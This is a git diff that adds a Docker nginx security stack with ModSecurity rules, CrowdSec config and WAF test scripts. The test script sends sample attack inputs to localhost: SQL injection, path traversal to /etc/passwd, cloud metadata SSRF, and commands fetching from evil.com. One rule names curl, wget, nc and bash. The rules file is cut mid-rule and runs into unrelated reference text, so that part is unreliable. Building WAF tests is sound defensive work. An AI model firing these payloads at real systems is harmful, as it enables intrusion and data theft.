diff --git a/.env.example b/.env.example
new file mode 100644
index 0000000..aca4947
--- /dev/null
+++ b/.env.example
@@ -0,0 +1,63 @@
+# ===========================================
+# Nginx Security Stack - Environment Variables
+# ===========================================
+# Copy this file to .env and customize values
+
+# ===========================================
+# Backend Configuration
+# ===========================================
+
+# Backend application
+# Default: httpbin for testing (started automatically with make start)
+BACKEND=http://httpbin:80
+
+# For your own backend, change to:
+# BACKEND=http://your-app:3000
+
+# ===========================================
+# Port Configuration
+# ===========================================
+
+# Nginx ports (use 80/443 for production, 8080/8443 for development)
+NGINX_HTTP_PORT=8080
+NGINX_HTTPS_PORT=8443
+
+# Metrics ports (for Prometheus scraping)
+NGINX_EXPORTER_PORT=9113
+CROWDSEC_METRICS_PORT=6060
+
+# Optional monitoring stack ports
+LOKI_PORT=3100
+GRAFANA_PORT=3000
+
+# ===========================================
+# ModSecurity Configuration
+# ===========================================
+
+# WAF mode: On (blocking), DetectionOnly (logging), Off (disabled)
+MODSEC_RULE_ENGINE=On
+
+# OWASP CRS Paranoia Level (1-4, higher = more strict)
+PARANOIA=1
+
+# Anomaly scoring thresholds
+ANOMALY_INBOUND=5
+ANOMALY_OUTBOUND=4
+
+# ===========================================
+# CrowdSec Configuration
+# ===========================================
+
+# User/Group ID for CrowdSec
+GID=1000
+
+# CrowdSec Firewall Bouncer API Key (optional, for iptables IP blocking)
+# Generate with: docker exec crowdsec cscli bouncers add firewall-bouncer -o raw
+# CROWDSEC_BOUNCER_KEY=your-bouncer-api-key
+
+# ===========================================
+# Grafana Configuration (Optional)
+# ===========================================
+
+# Grafana admin password
+GRAFANA_PASSWORD=your-secure-password
diff --git a/.gitignore b/.gitignore
index 9a5aced..ac1a7e4 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,139 +1,52 @@
-# Logs
-logs
-*.log
-npm-debug.log*
-yarn-debug.log*
-yarn-error.log*
-lerna-debug.log*
-
-# Diagnostic reports (https://nodejs.org/api/report.html)
-report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json
-
-# Runtime data
-pids
-*.pid
-*.seed
-*.pid.lock
-
-# Directory for instrumented libs generated by jscoverage/JSCover
-lib-cov
-
-# Coverage directory used by tools like istanbul
-coverage
-*.lcov
-
-# nyc test coverage
-.nyc_output
-
-# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)
-.grunt
-
-# Bower dependency directory (https://bower.io/)
-bower_components
-
-# node-waf configuration
-.lock-wscript
-
-# Compiled binary addons (https://nodejs.org/api/addons.html)
-build/Release
-
-# Dependency directories
-node_modules/
-jspm_packages/
-
-# Snowpack dependency directory (https://snowpack.dev/)
-web_modules/
-
-# TypeScript cache
-*.tsbuildinfo
-
-# Optional npm cache directory
-.npm
-
-# Optional eslint cache
-.eslintcache
-
-# Optional stylelint cache
-.stylelintcache
-
-# Optional REPL history
-.node_repl_history
-
-# Output of 'npm pack'
-*.tgz
+# ===========================================
+# Nginx Security Stack - Git Ignore
+# ===========================================
-# Yarn Integrity file
-.yarn-integrity
-
-# dotenv environment variable files
+# Environment files (contain secrets)
.env
.env.*
!.env.example
-# parcel-bundler cache (https://parceljs.org/)
-.cache
-.parcel-cache
-
-# Next.js build output
-.next
-out
-
-# Nuxt.js build / generate output
-.nuxt
-dist
-
-# Gatsby files
-.cache/
-# Comment in the public line in if your project uses Gatsby and not Next.js
-# https://nextjs.org/blog/next-9-1#public-directory-support
-# public
-
-# vuepress build output
-.vuepress/dist
-
-# vuepress v2.x temp and cache directory
-.temp
-.cache
-
-# Sveltekit cache directory
-.svelte-kit/
-
-# vitepress build output
-**/.vitepress/dist
-
-# vitepress cache directory
-**/.vitepress/cache
-
-# Docusaurus cache and generated files
-.docusaurus
-
-# Serverless directories
-.serverless/
-
-# FuseBox cache
-.fusebox/
-
-# DynamoDB Local files
-.dynamodb/
-
-# Firebase cache directory
-.firebase/
-
-# TernJS port file
-.tern-port
-
-# Stores VSCode versions used for testing VSCode extensions
-.vscode-test
-
-# yarn v3
-.pnp.*
-.yarn/*
-!.yarn/patches
-!.yarn/plugins
-!.yarn/releases
-!.yarn/sdks
-!.yarn/versions
+# Logs
+logs/*
+!logs/.gitkeep
+*.log
-# Vite logs files
-vite.config.js.timestamp-*
-vite.config.ts.timestamp-*
+# SSL Certificates (sensitive)
+certs/*
+!certs/.gitkeep
+*.pem
+*.key
+*.crt
+*.csr
+
+# CrowdSec data (created by Docker at runtime)
+config/crowdsec-bouncer/
+config/crowdsec/*
+!config/crowdsec/config.yaml.local
+crowdsec-data/
+
+# Docker volumes data
+loki-data/
+grafana-data/
+
+# IDE/Editor
+.idea/
+.vscode/
+*.swp
+*.swo
+*~
+
+# OS files
+.DS_Store
+Thumbs.db
+
+# Backup files
+*.bak
+*.backup
+*.old
+*.orig
+
+# Temp files
+*.tmp
+*.temp
diff --git a/Makefile b/Makefile
new file mode 100644
index 0000000..8e2fdb0
--- /dev/null
+++ b/Makefile
@@ -0,0 +1,79 @@
+.PHONY: help start stop restart test test-security test-false-pos logs logs-audit status bans unban-all health clean start-monitoring
+
+# Default target
+help:
+ @echo "Nginx Security Stack - Available Commands"
+ @echo ""
+ @echo " make start - Start all core services"
+ @echo " make start-monitoring - Start with monitoring stack (Loki, Promtail, Grafana)"
+ @echo " make stop - Stop all services"
+ @echo " make restart - Restart all services"
+ @echo " make test - Run all tests"
+ @echo " make test-security - Run security tests only"
+ @echo " make test-false-pos - Run false positive tests only"
+ @echo " make logs - View nginx-waf logs"
+ @echo " make logs-audit - View ModSecurity audit logs"
+ @echo " make status - Show service status"
+ @echo " make bans - List CrowdSec bans"
+ @echo " make unban-all - Remove all CrowdSec bans"
+ @echo " make health - Check health endpoints"
+ @echo " make clean - Stop services and remove volumes"
+
+# Service management
+start:
+ docker-compose up -d nginx-waf crowdsec nginx-exporter httpbin
+ @echo "Waiting for services to start..."
+ @sleep 15
+ @$(MAKE) health
+
+start-monitoring:
+ docker-compose --profile monitoring up -d
+ @echo "Waiting for services to start..."
+ @sleep 20
+ @$(MAKE) health
+
+stop:
+ docker-compose down
+
+restart:
+ docker-compose restart nginx-waf crowdsec nginx-exporter
+
+# Testing
+test: test-security test-false-pos
+ @echo "All tests completed"
+
+test-security:
+ @./scripts/test-security.sh localhost:8080 http
+
+test-false-pos:
+ @./scripts/test-false-positives.sh localhost:8080 http
+
+# Logs and monitoring
+logs:
+ docker-compose logs -f nginx-waf
+
+logs-audit:
+ @docker exec nginx-waf tail -f /var/log/modsecurity/audit.log 2>/dev/null | jq . || \
+ docker exec nginx-waf tail -f /var/log/modsecurity/audit.log
+
+status:
+ docker-compose ps
+
+# CrowdSec operations
+bans:
+ docker exec crowdsec cscli decisions list
+
+unban-all:
+ docker exec crowdsec cscli decisions delete --all
+
+# Health checks
+health:
+ @echo "Checking health endpoints..."
+ @curl -sf http://localhost:8080/healthz > /dev/null 2>&1 && echo "nginx-waf: OK" || echo "nginx-waf: FAIL"
+ @curl -sf http://localhost:9113/metrics > /dev/null 2>&1 && echo "nginx-exporter: OK" || echo "nginx-exporter: FAIL"
+ @curl -sf http://localhost:6060/metrics > /dev/null 2>&1 && echo "crowdsec: OK" || echo "crowdsec: FAIL"
+
+# Cleanup
+clean:
+ docker-compose down -v
+ rm -rf logs/nginx/* logs/modsecurity/*
diff --git a/README.md b/README.md
index 3b968d8..ff3e569 100644
--- a/README.md
+++ b/README.md
@@ -1,2 +1,52 @@
-# cloud-native-nginx
-Nginx image with enabled plugins for security and observability
+# Nginx Security Stack
+
+Docker-based security stack: WAF (ModSecurity + OWASP CRS), CrowdSec, Rate Limiting.
+
+## Quick Start
+
+```bash
+cp .env.example .env
+make start
+make test
+```
+
+Works out of the box with test backend (httpbin).
+
+For your own backend, edit `BACKEND` in `.env`:
+```bash
+BACKEND=http://your-app:3000
+```
+
+## Commands
+
+```bash
+make help # Show all commands
+make start # Start core services
+make start-monitoring # Start with monitoring (Loki, Grafana)
+make stop # Stop all services
+make restart # Restart services
+make test # Run all tests
+make test-security # Security tests only
+make test-false-pos # False positive tests only
+make logs # View nginx-waf logs
+make logs-audit # View ModSecurity audit logs
+make status # Show service status
+make health # Check health endpoints
+make bans # List CrowdSec bans
+make unban-all # Remove all bans
+make clean # Stop and remove volumes
+```
+
+## Ports
+
+| Service | Port |
+|---------|------|
+| nginx-waf HTTP | 8080 |
+| nginx-waf HTTPS | 8443 |
+| nginx-exporter | 9113 |
+| crowdsec | 6060 |
+
+## Docs
+
+- [Quick Reference](docs/QUICK_REFERENCE.md)
+- [Emergency Procedures](docs/EMERGENCY.md)
diff --git a/config/crowdsec/config.yaml.local b/config/crowdsec/config.yaml.local
new file mode 100644
index 0000000..8c96b44
--- /dev/null
+++ b/config/crowdsec/config.yaml.local
@@ -0,0 +1,34 @@
+# CrowdSec Local Configuration
+# This file overrides settings from the main config.yaml
+
+# Enable Prometheus metrics endpoint
+prometheus:
+ enabled: true
+ level: full # full, aggregated, or off
+ listen_addr: 0.0.0.0
+ listen_port: 6060
+
+# API server configuration
+api:
+ server:
+ # Listen on all interfaces for Docker networking
+ listen_uri: 0.0.0.0:8080
+
+# Database configuration (using default SQLite)
+db_config:
+ type: sqlite
+ db_path: /var/lib/crowdsec/data/crowdsec.db
+
+# Configure what gets logged
+cscli:
+ output: human # human, json, raw
+
+# Profiling (disable in production for performance)
+config_paths:
+ notification_dir: /etc/crowdsec/notifications/
+
+# Common API settings
+common:
+ daemonize: false
+ log_media: stdout
+ log_level: info
diff --git a/config/modsecurity/custom-rules.conf b/config/modsecurity/custom-rules.conf
new file mode 100644
index 0000000..19a3dea
--- /dev/null
+++ b/config/modsecurity/custom-rules.conf
@@ -0,0 +1,69 @@
+# Custom ModSecurity Rules
+# File: RESPONSE-999-CUSTOM.conf
+#
+# These rules complement OWASP CRS. They are more targeted to avoid false positives.
+# OWASP CRS already handles most attack patterns - these add application-specific protection.
+
+# ===== SQL INJECTION (Advanced Patterns) =====
+
+SecRule ARGS "@rx (?i)(union\s+select|drop\s+table|insert\s+into|delete\s+from|update\s+.*\s+set)" \
+ "id:9900001,phase:2,deny,status:403,log,msg:'SQL Injection Detected',tag:'OWASP_CRS',tag:'attack-sqli',severity:'CRITICAL'"
+
+# ===== COMMAND INJECTION (Targeted) =====
+
+# NOTE: Rule 200002 removed - was blocking legitimate characters like () in phone numbers
+# OWASP CRS rules 932xxx handle command injection comprehensively
+
+SecRule ARGS "@rx (?i)(?:^|[;&|])\s*(?:cat|rm|wget|curl|bash|sh|nc|python|perl|ruby|php)\s+[^&|;]*(?:/|\.\.)" \
+ "id:9900003,phase:2,deny,status:403,log,msg:'Dangerous Command Detected',tag:'OWASP_CRS',tag:'attack-rce',severity:'CRITICAL'"
+
+# ===== XSS (Targeted) =====
+
+SecRule ARGS "@rx (?i)"
+
+# SSRF
+curl "http://localhost:8080/?url=http://169.254.169.254/latest/meta-data"
+
+# Path Traversal
+curl "http://localhost:8080/?file=../../../etc/passwd"
+```
+
+### Check Resource Usage
+
+```bash
+# View container stats
+docker stats --no-stream
+
+# View specific container
+docker stats nginx-waf --no-stream
+```
+
+## Ports Reference
+
+| Service | Port | Purpose |
+|---------|------|---------|
+| nginx-waf | 8080 | HTTP traffic |
+| nginx-waf | 8443 | HTTPS traffic |
+| nginx-exporter | 9113 | Prometheus metrics |
+| crowdsec | 6060 | Metrics |
+| loki | 3100 | Log aggregation |
+| grafana | 3000 | Visualization |
+
+## File Locations
+
+| File | Purpose |
+|------|---------|
+| `config/nginx/default.conf.template` | Nginx configuration |
+| `config/modsecurity/custom-rules.conf` | Custom WAF rules |
+| `config/modsecurity/exclusions.conf` | Rule exclusions |
+| `config/crowdsec/` | CrowdSec configuration |
+| `logs/nginx/` | Nginx logs |
+| `logs/modsecurity/` | ModSecurity audit logs |
+| `.env` | Environment variables |
diff --git a/monitoring/prometheus-scrape-config.yml b/monitoring/prometheus-scrape-config.yml
new file mode 100644
index 0000000..b512224
--- /dev/null
+++ b/monitoring/prometheus-scrape-config.yml
@@ -0,0 +1,95 @@
+# Prometheus Scrape Configuration for Nginx Security Stack
+# Add these jobs to your Prometheus prometheus.yml scrape_configs section
+
+# ===========================================
+# Copy this configuration to your Prometheus
+# ===========================================
+
+scrape_configs:
+ # -------------------------------------------
+ # Nginx WAF Metrics (via nginx-exporter)
+ # -------------------------------------------
+ - job_name: 'nginx-waf'
+ static_configs:
+ - targets: [':9113']
+ labels:
+ service: 'nginx-waf'
+ environment: 'production'
+ metrics_path: /metrics
+ scrape_interval: 15s
+ scrape_timeout: 10s
+
+ # Optional: relabel configs for consistent labeling
+ relabel_configs:
+ - source_labels: [__address__]
+ target_label: instance
+ regex: '([^:]+):\d+'
+ replacement: '${1}'
+
+ # -------------------------------------------
+ # CrowdSec Metrics
+ # -------------------------------------------
+ - job_name: 'crowdsec'
+ static_configs:
+ - targets: [':6060']
+ labels:
+ service: 'crowdsec'
+ environment: 'production'
+ metrics_path: /metrics
+ scrape_interval: 30s
+ scrape_timeout: 10s
+
+ relabel_configs:
+ - source_labels: [__address__]
+ target_label: instance
+ regex: '([^:]+):\d+'
+ replacement: '${1}'
+
+# ===========================================
+# Key Metrics Reference
+# ===========================================
+#
+# NGINX EXPORTER (port 9113):
+# ---------------------------
+# nginx_connections_active - Current active connections
+# nginx_connections_accepted - Total accepted connections
+# nginx_connections_handled - Total handled connections
+# nginx_connections_reading - Connections reading request
+# nginx_connections_writing - Connections writing response
+# nginx_connections_waiting - Idle connections
+# nginx_http_requests_total - Total HTTP requests
+# nginx_up - Nginx status (1 = up, 0 = down)
+#
+# CROWDSEC (port 6060):
+# ---------------------
+# cs_active_decisions{action,origin,reason} - Active ban/captcha decisions
+# cs_alerts_total - Total alerts triggered
+# cs_parsers_hits_total - Log lines parsed
+# cs_parsers_hits_ok_total - Successfully parsed lines
+# cs_bucket_created_total - Scenario buckets created
+# cs_bucket_overflowed_total - Scenarios triggered (attacks)
+# cs_lapi_decisions_total - Decisions from LAPI
+# cs_lapi_machine_last_push - Last push timestamp
+# cs_lapi_route_requests_total - API requests by route
+#
+# ===========================================
+# Example Queries for Grafana
+# ===========================================
+#
+# Request rate:
+# rate(nginx_http_requests_total[5m])
+#
+# Active connections:
+# nginx_connections_active
+#
+# Connection utilization:
+# nginx_connections_active / nginx_connections_accepted
+#
+# CrowdSec active bans:
+# cs_active_decisions{action="ban"}
+#
+# Attack rate (scenarios triggered):
+# rate(cs_bucket_overflowed_total[5m])
+#
+# Parser efficiency:
+# rate(cs_parsers_hits_ok_total[5m]) / rate(cs_parsers_hits_total[5m])
diff --git a/scripts/test-false-positives.sh b/scripts/test-false-positives.sh
new file mode 100755
index 0000000..de4b87a
--- /dev/null
+++ b/scripts/test-false-positives.sh
@@ -0,0 +1,122 @@
+#!/bin/bash
+
+# ===========================================
+# Nginx Security Stack - False Positive Tests
+# ===========================================
+# Tests that legitimate requests are NOT blocked
+
+# Colors for output
+RED='\033[0;31m'
+GREEN='\033[0;32m'
+YELLOW='\033[1;33m'
+NC='\033[0m' # No Color
+
+# Configuration
+HOST="${1:-localhost:8080}"
+PROTOCOL="${2:-http}"
+BASE_URL="${PROTOCOL}://${HOST}"
+
+echo "===== NGINX SECURITY STACK - FALSE POSITIVE TESTS ====="
+echo ""
+echo "Target: ${BASE_URL}"
+echo "Date: $(date)"
+echo ""
+echo "These tests verify that legitimate requests are NOT blocked."
+echo ""
+
+PASSED=0
+FAILED=0
+
+# Helper function to test with URL-encoded payload
+test_pass() {
+ local name="$1"
+ local path="$2"
+ local param="$3"
+ local value="$4"
+ local method="${5:-GET}"
+ local data="${6:-}"
+
+ if [ -n "$param" ]; then
+ # Use -G and --data-urlencode for proper URL encoding
+ RESULT=$(curl -s -o /dev/null -w "%{http_code}" -G --data-urlencode "${param}=${value}" "${BASE_URL}${path}" -k 2>/dev/null)
+ elif [ "$method" == "POST" ] && [ -n "$data" ]; then
+ RESULT=$(curl -s -o /dev/null -w "%{http_code}" -X POST "${BASE_URL}${path}" -d "$data" -H "Content-Type: application/json" -k 2>/dev/null)
+ else
+ RESULT=$(curl -s -o /dev/null -w "%{http_code}" "${BASE_URL}${path}" -k 2>/dev/null)
+ fi
+
+ # Should NOT be 403 (blocked by WAF)
+ if [ "$RESULT" != "403" ]; then
+ echo -e "${GREEN}[PASS]${NC} $name - Got $RESULT (not blocked)"
+ ((PASSED++))
+ else
+ echo -e "${RED}[FAIL]${NC} $name - Got 403 (FALSE POSITIVE!)"
+ ((FAILED++))
+ fi
+}
+
+echo "--- 1. Phone Numbers with Parentheses ---"
+test_pass "US phone format" "/api/users" "phone" "(123)456-7890"
+test_pass "International format" "/api/users" "phone" "+1(555)123-4567"
+test_pass "Indian format" "/api/users" "phone" "(91)9876543210"
+echo ""
+
+echo "--- 2. Wildcard Search Queries ---"
+test_pass "Wildcard search (*)" "/api/search" "q" "test*"
+test_pass "Wildcard in middle" "/api/search" "q" "user*name"
+test_pass "Multiple wildcards" "/api/search" "q" "*admin*"
+echo ""
+
+echo "--- 3. Mathematical Expressions ---"
+test_pass "Multiplication" "/api/calc" "expr" "2*3"
+test_pass "Parentheses" "/api/calc" "expr" "2*(3+4)"
+test_pass "Complex expression" "/api/calc" "expr" "(10+5)*2"
+echo ""
+
+echo "--- 4. URLs with Query Parameters ---"
+test_pass "Redirect URL" "/api/redirect" "url" "https://example.com?foo=bar"
+test_pass "Callback URL" "/api/callback" "return_url" "https://app.com/done?status=success"
+echo ""
+
+echo "--- 5. JSON Payloads ---"
+test_pass "Simple JSON" "/api/data" "" "" "POST" '{"name":"John","age":30}'
+test_pass "Nested JSON" "/api/data" "" "" "POST" '{"user":{"name":"John","email":"john@example.com"}}'
+test_pass "Array in JSON" "/api/data" "" "" "POST" '{"items":[1,2,3],"tags":["a","b"]}'
+echo ""
+
+echo "--- 6. Base64 Data ---"
+test_pass "Base64 string" "/api/decode" "data" "SGVsbG8gV29ybGQ="
+test_pass "Base64 with padding" "/api/decode" "data" "dGVzdA=="
+echo ""
+
+echo "--- 7. GraphQL Queries ---"
+test_pass "GraphQL query" "/graphql" "" "" "POST" '{"query":"query { users { id name } }"}'
+test_pass "GraphQL mutation" "/graphql" "" "" "POST" '{"query":"mutation { createUser(name: \"John\") { id } }"}'
+echo ""
+
+echo "--- 8. Common API Patterns ---"
+test_pass "Pagination" "/api/items" "page" "1"
+test_pass "Filtering" "/api/items" "status" "active"
+test_pass "Date range" "/api/reports" "from" "2024-01-01"
+echo ""
+
+echo "--- 9. Special Characters in Names ---"
+test_pass "Irish name (O'Brien)" "/api/users" "name" "O'Brien"
+test_pass "Hyphenated name" "/api/users" "name" "Mary-Jane"
+echo ""
+
+echo "===== TEST SUMMARY ====="
+echo -e "Passed: ${GREEN}$PASSED${NC}"
+echo -e "Failed: ${RED}$FAILED${NC}"
+echo ""
+
+if [ "$FAILED" -gt 0 ]; then
+ echo -e "${RED}Some legitimate requests were blocked (FALSE POSITIVES)!${NC}"
+ echo ""
+ echo "To fix false positives, check ModSecurity audit log:"
+ echo " docker exec nginx-waf cat /var/log/modsecurity/audit.log | jq '.transaction.messages'"
+ exit 1
+else
+ echo -e "${GREEN}No false positives detected!${NC}"
+ exit 0
+fi
diff --git a/scripts/test-security.sh b/scripts/test-security.sh
new file mode 100755
index 0000000..a22afba
--- /dev/null
+++ b/scripts/test-security.sh
@@ -0,0 +1,211 @@
+#!/bin/bash
+
+# ===========================================
+# Nginx Security Stack - Security Tests
+# ===========================================
+# Tests that attacks are properly blocked
+
+# Colors for output
+RED='\033[0;31m'
+GREEN='\033[0;32m'
+YELLOW='\033[1;33m'
+NC='\033[0m' # No Color
+
+# Configuration
+HOST="${1:-localhost:8080}"
+PROTOCOL="${2:-http}"
+BASE_URL="${PROTOCOL}://${HOST}"
+
+echo "===== NGINX SECURITY STACK - SECURITY TESTS ====="
+echo ""
+echo "Target: ${BASE_URL}"
+echo "Date: $(date)"
+echo ""
+
+PASSED=0
+FAILED=0
+WARNINGS=0
+
+# Helper function to test with URL-encoded payload
+test_block() {
+ local name="$1"
+ local path="$2"
+ local param="$3"
+ local value="$4"
+ local expected="$5"
+ local method="${6:-GET}"
+
+ if [ -n "$param" ]; then
+ # Use -G and --data-urlencode for proper URL encoding
+ if [ "$method" == "POST" ]; then
+ RESULT=$(curl -s -o /dev/null -w "%{http_code}" -X POST -G --data-urlencode "${param}=${value}" "${BASE_URL}${path}" -k 2>/dev/null)
+ else
+ RESULT=$(curl -s -o /dev/null -w "%{http_code}" -G --data-urlencode "${param}=${value}" "${BASE_URL}${path}" -k 2>/dev/null)
+ fi
+ else
+ # Direct URL request (for path-based tests)
+ if [ "$method" == "POST" ]; then
+ RESULT=$(curl -s -o /dev/null -w "%{http_code}" -X POST "${BASE_URL}${path}" -k 2>/dev/null)
+ else
+ RESULT=$(curl -s -o /dev/null -w "%{http_code}" "${BASE_URL}${path}" -k 2>/dev/null)
+ fi
+ fi
+
+ if [[ "$expected" == *"$RESULT"* ]]; then
+ echo -e "${GREEN}[PASS]${NC} $name - Got $RESULT"
+ ((PASSED++))
+ else
+ echo -e "${RED}[FAIL]${NC} $name - Got $RESULT (expected: $expected)"
+ ((FAILED++))
+ fi
+}
+
+echo "--- 1. SQL Injection Tests ---"
+test_block "SQL Injection (OR)" "/" "id" "1' OR '1'='1" "403"
+test_block "SQL Injection (UNION)" "/" "id" "1 UNION SELECT * FROM users" "403"
+test_block "SQL Injection (DROP)" "/" "q" "'; DROP TABLE users;--" "403"
+test_block "SQL Injection (INSERT)" "/" "data" "'; INSERT INTO users VALUES(1,'admin');--" "403"
+echo ""
+
+echo "--- 2. XSS Tests ---"
+test_block "XSS (script tag)" "/" "q" "" "403"
+test_block "XSS (javascript:)" "/" "url" "javascript:alert(1)" "403"
+test_block "XSS (onerror)" "/" "img" "
" "403"
+test_block "XSS (onclick)" "/" "a" "" "403"
+echo ""
+
+echo "--- 3. Command Injection Tests ---"
+test_block "Command Injection (;cat)" "/" "cmd" ";cat /etc/passwd" "403"
+test_block "Command Injection (|)" "/" "cmd" "|ls -la" "403"
+test_block "Command Injection (wget)" "/" "cmd" "wget http://evil.com/shell.sh" "403"
+test_block "Command Injection (curl)" "/" "cmd" "curl http://evil.com/backdoor" "403"
+echo ""
+
+echo "--- 4. Path Traversal Tests ---"
+test_block "Path Traversal (URL encoded)" "/%2e%2e/%2e%2e/%2e%2e/etc/passwd" "" "" "400|403|404"
+test_block "Path Traversal (double encoded)" "/%252e%252e%252f" "" "" "400|403|404"
+test_block "Path Traversal (param)" "/" "file" "../../../etc/passwd" "403"
+echo ""
+
+echo "--- 5. Sensitive File Access Tests ---"
+test_block "Hidden file (.env)" "/.env" "" "" "403|404"
+test_block "Git directory" "/.git/config" "" "" "403|404"
+test_block "Hidden file (.htaccess)" "/.htaccess" "" "" "403|404"
+echo ""
+
+echo "--- 6. Null Byte Injection Test ---"
+test_block "Null byte injection" "/file.txt%00.jpg" "" "" "400|403|404"
+echo ""
+
+echo "--- 7. SSRF Tests ---"
+test_block "SSRF (localhost)" "/" "url" "http://localhost/admin" "403"
+test_block "SSRF (127.0.0.1)" "/" "callback" "http://127.0.0.1:22" "403"
+test_block "SSRF (metadata AWS)" "/" "url" "http://169.254.169.254/latest/meta-data" "403"
+test_block "SSRF (internal 10.x)" "/" "webhook" "http://10.0.0.1/internal" "403"
+test_block "SSRF (internal 192.168.x)" "/" "api" "http://192.168.1.1:8080/admin" "403"
+echo ""
+
+echo "--- 8. Scanner Detection Tests ---"
+RESULT=$(curl -s -o /dev/null -w "%{http_code}" -H "User-Agent: sqlmap/1.0" "${BASE_URL}/" -k 2>/dev/null)
+if [ "$RESULT" == "403" ]; then
+ echo -e "${GREEN}[PASS]${NC} Scanner detection (sqlmap) - Got $RESULT"
+ ((PASSED++))
+else
+ echo -e "${RED}[FAIL]${NC} Scanner detection (sqlmap) - Got $RESULT (expected: 403)"
+ ((FAILED++))
+fi
+
+RESULT=$(curl -s -o /dev/null -w "%{http_code}" -H "User-Agent: nikto" "${BASE_URL}/" -k 2>/dev/null)
+if [ "$RESULT" == "403" ]; then
+ echo -e "${GREEN}[PASS]${NC} Scanner detection (nikto) - Got $RESULT"
+ ((PASSED++))
+else
+ echo -e "${RED}[FAIL]${NC} Scanner detection (nikto) - Got $RESULT (expected: 403)"
+ ((FAILED++))
+fi
+echo ""
+
+echo "--- 9. Rate Limiting Tests ---"
+echo "Testing rate limiting on /api/auth/verify-otp..."
+echo -n "Requests: "
+RATE_LIMITED=0
+for i in {1..6}; do
+ RESULT=$(curl -s -o /dev/null -w "%{http_code}" -X POST "${BASE_URL}/api/auth/verify-otp" -k 2>/dev/null)
+ echo -n "$RESULT "
+ if [ "$RESULT" == "429" ]; then
+ RATE_LIMITED=1
+ fi
+done
+echo ""
+if [ "$RATE_LIMITED" == "1" ]; then
+ echo -e "${GREEN}[PASS]${NC} Rate limiting triggered (429 returned)"
+ ((PASSED++))
+else
+ echo -e "${YELLOW}[WARN]${NC} Rate limiting not configured (using default nginx config)"
+ ((WARNINGS++))
+fi
+echo ""
+
+echo "--- 10. Security Headers Test ---"
+echo "Checking security headers..."
+HEADERS=$(curl -sI "${BASE_URL}/" -k 2>/dev/null)
+
+check_header() {
+ local header="$1"
+ if echo "$HEADERS" | grep -qi "$header"; then
+ echo -e "${GREEN}[PASS]${NC} $header header present"
+ ((PASSED++))
+ else
+ echo -e "${YELLOW}[WARN]${NC} $header header missing"
+ ((WARNINGS++))
+ fi
+}
+
+check_header "X-Frame-Options"
+check_header "X-Content-Type-Options"
+echo ""
+
+echo "--- 11. Health Check Test ---"
+RESULT=$(curl -s -o /dev/null -w "%{http_code}" "${BASE_URL}/healthz" -k 2>/dev/null)
+if [ "$RESULT" == "200" ]; then
+ echo -e "${GREEN}[PASS]${NC} Health check returned 200"
+ ((PASSED++))
+else
+ echo -e "${YELLOW}[WARN]${NC} Health check returned $RESULT (endpoint may not exist)"
+ ((WARNINGS++))
+fi
+echo ""
+
+echo "--- 12. Metrics Endpoints ---"
+NGINX_METRICS=$(curl -s -o /dev/null -w "%{http_code}" "http://${HOST%:*}:9113/metrics" 2>/dev/null)
+if [ "$NGINX_METRICS" == "200" ]; then
+ echo -e "${GREEN}[PASS]${NC} nginx-exporter metrics available (port 9113)"
+ ((PASSED++))
+else
+ echo -e "${YELLOW}[WARN]${NC} nginx-exporter not available"
+ ((WARNINGS++))
+fi
+
+CROWDSEC_METRICS=$(curl -s -o /dev/null -w "%{http_code}" "http://${HOST%:*}:6060/metrics" 2>/dev/null)
+if [ "$CROWDSEC_METRICS" == "200" ]; then
+ echo -e "${GREEN}[PASS]${NC} CrowdSec metrics available (port 6060)"
+ ((PASSED++))
+else
+ echo -e "${YELLOW}[WARN]${NC} CrowdSec metrics not available"
+ ((WARNINGS++))
+fi
+echo ""
+
+echo "===== TEST SUMMARY ====="
+echo -e "Passed: ${GREEN}$PASSED${NC}"
+echo -e "Failed: ${RED}$FAILED${NC}"
+echo -e "Warnings: ${YELLOW}$WARNINGS${NC}"
+echo ""
+
+if [ "$FAILED" -gt 0 ]; then
+ echo -e "${RED}Some security tests failed! Review the results above.${NC}"
+ exit 1
+else
+ echo -e "${GREEN}All security tests passed!${NC}"
+ exit 0
+fi